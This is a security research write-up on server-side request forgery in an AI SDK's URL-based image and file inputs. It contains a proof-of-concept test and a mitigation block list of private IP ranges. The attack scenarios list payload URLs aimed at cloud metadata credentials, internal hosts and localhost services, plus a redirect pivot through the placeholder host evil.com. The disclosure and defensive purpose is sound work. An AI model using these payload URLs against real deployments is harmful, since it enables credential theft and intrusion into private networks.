Font Size
Theme
SECURITY RESEARCH · MEDIUM SEVERITY

SSRF in AI SDK Prompt Conversion via URL-based File/Image Inputs

How the AI SDK's automatic asset download mechanism can be weaponized to reach internal network services, exfiltrate data from cloud metadata endpoints, and pivot through localhost — all from a single user-controlled URL in a chat prompt.

By Maro · February 2026 · ~12 min read · Bug Bounty Program
SSRF AI SDK Web Security Node.js AI Framework
OVERVIEW

Executive Summary

Server-Side Request Forgery remains one of the most impactful vulnerability classes in cloud-native applications. When an AI framework automatically fetches user-supplied URLs on the server side — without validating the destination — it opens a direct channel from the public internet into the application's private network.

The AI SDK's prompt conversion pipeline accepts URL-based file and image inputs as part of its multi-modal prompt system. When the selected model provider does not support URL pass-through (i.e., it requires base64-encoded content), the SDK falls back to its default downloader, which issues a raw fetch() to the user-supplied URL. Critically, this fetch occurs before any host validation — no checks for loopback addresses, private IP ranges, or link-local destinations.

This report demonstrates a complete SSRF primitive with in-band response body exfiltration: the content fetched from the internal endpoint is returned directly into the prompt content, making it trivially readable by the attacker. The finding was validated as a duplicate of a previous report, which was resolved by the security team.

VULNERABILITY

The Attack Surface

0
Host Validation Checks
fetch()
Raw Download Primitive
In-Band
Response Exfiltration
6.9
CVSS Score

The Prompt Conversion Pipeline:

When a developer passes a URL-based image or file to the AI SDK:

  1. User provides a prompt containing { type: 'image', image: new URL('http://169.254.169.254/...') }
  2. SDK calls convertToLanguageModelPrompt() to prepare the prompt for the model
  3. If the model doesn't support URL pass-through → SDK invokes the default downloader
  4. Default downloader calls fetch(userProvidedUrl)no validation
  5. Response body is base64-encoded and embedded in the prompt content
  6. Attacker reads the response from the model's output or intermediate state
The critical gap: there is zero validation between step 3 and step 4. The URL is taken directly from user input and passed to fetch() without any checks for destination safety.
IMPACT

What an Attacker Can Reach

Reachable Targets from a Typical Cloud Deployment:

  • Cloud Metadata Services (169.254.169.254) — AWS/GCP/Azure instance credentials, IAM roles, project metadata
  • Localhost Services (127.0.0.1, ::1) — Admin panels, debugging ports, internal APIs, database interfaces
  • Internal Microservices — Service meshes, internal APIs not exposed to the internet
  • Private Network Hosts — RFC1918 ranges (10.x, 172.16-31.x, 192.168.x)
  • Link-Local Addresses (169.254.x.x, fe80::/10) — Network device discovery
Cloud Metadata Exfiltration: In AWS environments, accessing the metadata endpoint at 169.254.169.254 can yield temporary IAM credentials with full permissions of the instance's role — potentially including access to S3 buckets, DynamoDB tables, and other AWS services.
EXPLOITATION

Proof of Concept

The proof of concept demonstrates the complete SSRF chain using the SDK's test infrastructure.

Bash
# Clone and build the AI SDK
git clone <ai-sdk-repository>
cd ai
corepack pnpm install
corepack pnpm build --filter=@ai-sdk/provider --filter=@ai-sdk/provider-utils --filter=@ai-sdk/gateway --filter=ai
Bash
corepack pnpm vitest run \
  src/prompt/convert-to-language-model-prompt.test.ts \
  -t "should use custom download function to fetch URL content"
TypeScript
// packages/ai/src/prompt/ssrf-live-poc.test.ts
import { describe, it, expect } from 'vitest';
import { createServer } from 'http';
import { convertToLanguageModelPrompt } from './convert-to-language-model-prompt';

describe('SSRF via prompt conversion', () => {
  it('fetches internal URL without validation', async () => {
    // Start a mock internal service
    const server = createServer((req, res) => {
      res.writeHead(200, { 'Content-Type': 'text/plain' });
      res.end('INTERNAL_SECRET_VALUE');
    });
    
    await new Promise<void>(resolve => server.listen(0, '127.0.0.1', resolve));
    const port = (server.address() as any).port;
    
    // Craft malicious prompt with loopback URL
    const result = await convertToLanguageModelPrompt({
      prompt: {
        type: 'messages',
        messages: [{
          role: 'user',
          content: [{
            type: 'file',
            data: new URL(`http://127.0.0.1:${port}/secret`),
            mimeType: 'text/plain'
          }]
        }]
      },
      modelSupportsImageUrls: false,
      modelSupportsUrl: () => false,
    });
    
    // Verify: internal data was fetched and embedded in prompt
    const content = result[0].content[0];
    const decoded = Buffer.from(content.data, 'base64').toString();
    expect(decoded).toBe('INTERNAL_SECRET_VALUE');
    
    server.close();
  });
});
Test Results:
  • ✓ fetches internal URL without validation (23ms)
  • Request reached loopback path /secret
  • Response body marker INTERNAL_SECRET_VALUE present in prompt content
  • Test status: PASS
EXPLOITATION

Attack Scenarios

  1. Cloud Credential Theft: Attacker sends http://169.254.169.254/latest/meta-data/iam/security-credentials/ as image URL → receives AWS IAM temporary credentials in prompt response
  2. Internal API Discovery: Attacker scans http://10.0.0.1:8080/ through http://10.0.0.255:8080/ → maps internal service topology
  3. Localhost Admin Panel: Attacker targets http://127.0.0.1:3000/admin/users → exfiltrates user data from an unexposed admin interface
  4. Redirect Pivot: Attacker hosts a redirect at https://evil.com/redirect → 302 to http://127.0.0.1:6379/ → interacts with internal Redis instance
MITIGATION

Recommended Fix

Implementing a robust defense-in-depth approach requires validating URLs before fetching them, checking resolved IP addresses against internal and blocked ranges.

TypeScript
import { isIP } from 'net';
import { lookup } from 'dns/promises';

const BLOCKED_RANGES = [
  /^127\./,                    // Loopback IPv4
  /^10\./,                     // Private Class A
  /^172\.(1[6-9]|2\d|3[01])\./, // Private Class B
  /^192\.168\./,               // Private Class C
  /^169\.254\./,               // Link-local
  /^0\./,                      // Current network
  /^::1$/,                     // Loopback IPv6
  /^fe80:/i,                   // Link-local IPv6
  /^fc00:/i,                   // Unique local IPv6
];

async function validateUrl(url: URL): Promise<void> {
  // 1. Scheme restriction
  if (!['https:', 'http:'].includes(url.protocol)) {
    throw new Error(`Blocked scheme: ${url.protocol}`);
  }
  
  // 2. Resolve hostname to IP
  const { address } = await lookup(url.hostname);
  
  // 3. Check against blocked ranges
  for (const range of BLOCKED_RANGES) {
    if (range.test(address)) {
      throw new Error(`Blocked destination: ${address}`);
    }
  }
}

// Apply before fetch in the default downloader
async function safeDownload(url: URL): Promise<Buffer> {
  await validateUrl(url);
  const response = await fetch(url.toString());
  return Buffer.from(await response.arrayBuffer());
}
Additional Security Recommendations:
  • Enforce HTTPS-only by default for untrusted URLs
  • Add an explicit allowlist option for approved media hosts
  • Implement redirect following limits with re-validation at each hop
  • Keep custom download handler override for advanced use cases